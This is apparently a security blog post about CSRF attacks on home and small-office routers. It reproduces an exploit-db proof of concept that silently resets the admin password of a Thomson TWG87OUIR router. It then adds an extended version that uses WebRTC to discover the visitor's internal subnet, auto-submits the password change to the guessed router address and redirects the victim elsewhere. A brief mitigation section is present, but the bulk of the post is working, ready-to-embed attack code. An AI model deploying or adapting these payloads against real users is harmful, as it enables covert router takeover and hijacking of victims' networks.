Advanced CSRF Attacks against Modems, Routers, Accesspoints and other internal network devices
Introduction
In 2014 a lot of vulnerabilities were detected in SOHO devices. In addition to critical flaws, which allow unauthenticated attackers to execute arbitrary code, there are a mass of CSRF vulnerabilities which allow a remote attacker to change different settings within the vulnerable SOHO devices.
There is also an interesting and indepth technical report about vulnerable SOHO devices that describes several different attackt types against those devices SOHO Network Equipment β¦and the implications of a rich service set. Nevertheless, this blog post will only focus on attack types based on CSRF vulnerabilities.
Current attacks
Currently there are different CSRF attack campaigns against vulnerable devices, embedding the CSRF payload in hacked / hijacked websites and waiting for victims to visit those pages.
Last week a recent attack campaign was detected against common DSL routers from D-Link, TP-Link and ZTE which are all based on ZynOS operating system DNS hijacking flaw affects D-Link DSL router, possibly other devices
Example (CVE-2014-4716)
That CSRF vulnerability affects Thomson TWG87OUIR:
The proof of concept exploit can be used to trigger a new password for the administrative user:
Author: nopesled
Date: 24/06/14
Vulnerability: POST Password Reset CSRF
Tested on: Thomson TWG87OUIR (Hardware Version)
<html>
<head>
<title>Thomson TWG87OUIR CSRF</title>
</head>
<body>
<form name="exploit" method="post" action="http://192.168.0.1/goform/RgSecurity">
<input type="hidden" name="HttpUserId" value="" />
<input type="hidden" name="Password" value="newpass" />
<input type="hidden" name="PasswordReEnter" value="newpass" />
<input type="hidden" name="RestoreFactoryNo" value-="0x00" />
</form>
<script type="text/javascript">
document.exploit.submit();
</script>
</body>
</html>
www.exploit-db.com/exploits/33866/
Mitigation
There are some recommendation to mitigate the risk of CSRF vulnerabilities:
- Don't use the remember password function of your browsers to store credentials to the internal admin interface of SOHO devices
- Change the default IP / subnet of the SOHO device
For every successful CSRF exploitation, the attacker must know the URI endpoint of the vulnerable request. By changing the default IP of the SOHO device the CSRF exploit will generally fail.
But ... we are advanced
There is a nice WebRTC feature which, allows an attacker to detect all internal IP subnets. After that, he can use those internal subnets to extend the CSRF exploit by generating 254 requests for all possible IP addresses in that subnet (assumed it a private class c /24 network) or the ones, which are most likely (eg. .1 or .254).
The following lines are c&p'ed from the github project of webrtc-ips.
STUN IP Address requests for WebRTC
Demo: https://diafygi.github.io/webrtc-ips/
What this does
Firefox and Chrome have implemented WebRTC that allow requests to STUN servers be made that will return the local and public IP addresses for the user. These request results are available to javascript, so you can now obtain a users local and public IP addresses in javascript. This demo is an example implementation of that.
Additionally, these STUN requests are made outside of the normal XMLHttpRequest procedure, so they are not visible in the developer console or able to be blocked by plugins such as AdBlockPlus or Ghostery. This makes these types of requests available for online tracking if an advertiser sets up a STUN server with a wildcard domain.
PoC
As a result we can extend the above CSRF exploit by using the WebRTC feature to automatically detect the correct internal IP subnet and firing several requests. In the following PoC the exploit only uses .1 as the last IP octet but that could be extended to some others for example .254
<html>
<head>
<title>Thomson TWG87OUIR CSRF with WebRTC for internal IP detection</title>
</head>
<body>
<script>
//get the IP addresses associated with an account
function getIPs(callback){
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
//firefox already has a default stun server in about:config
// media.peerconnection.default_iceservers =
// [{"url": "stun:stun.services.mozilla.com"}]
var servers = undefined;
//add same stun server for chrome
if(window.webkitRTCPeerConnection)
servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);
//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
};
//create a bogus data channel
pc.createDataChannel("");
//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
}
//insert IP addresses into the page
getIPs(function(ip){
//local IPs
if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/)) {
var ip_router = ip.split(".");
ip_router[3] = '1';
ip_router = ip_router.join(".");
my_form=document.createElement('FORM');
my_form.name=ip_router;
my_form.method='POST';
my_form.action='http://'+ip_router+'/goform/RgSecurity';
my_input1=document.createElement('INPUT');
my_input1.type='HIDDEN';
my_input1.name='HttpUserId';
my_input1.value='';
my_form.appendChild(my_input1);
my_input2=document.createElement('INPUT');
my_input2.type='HIDDEN';
my_input2.name='Password';
my_input2.value='test';
my_form.appendChild(my_input2);
my_input3=document.createElement('INPUT');
my_input3.type='HIDDEN';
my_input3.name='PasswordReEnter';
my_input3.value='test';
my_form.appendChild(my_input3);
my_input4=document.createElement('INPUT');
my_input4.type='HIDDEN';
my_input4.name='RestoreFactoryNo';
my_input4.value='0x00';
my_form.appendChild(my_input4);
document.body.appendChild(my_form);
my_form.submit();
window.location.replace("http://stackoverflow.com");
}
});
</script>
</body>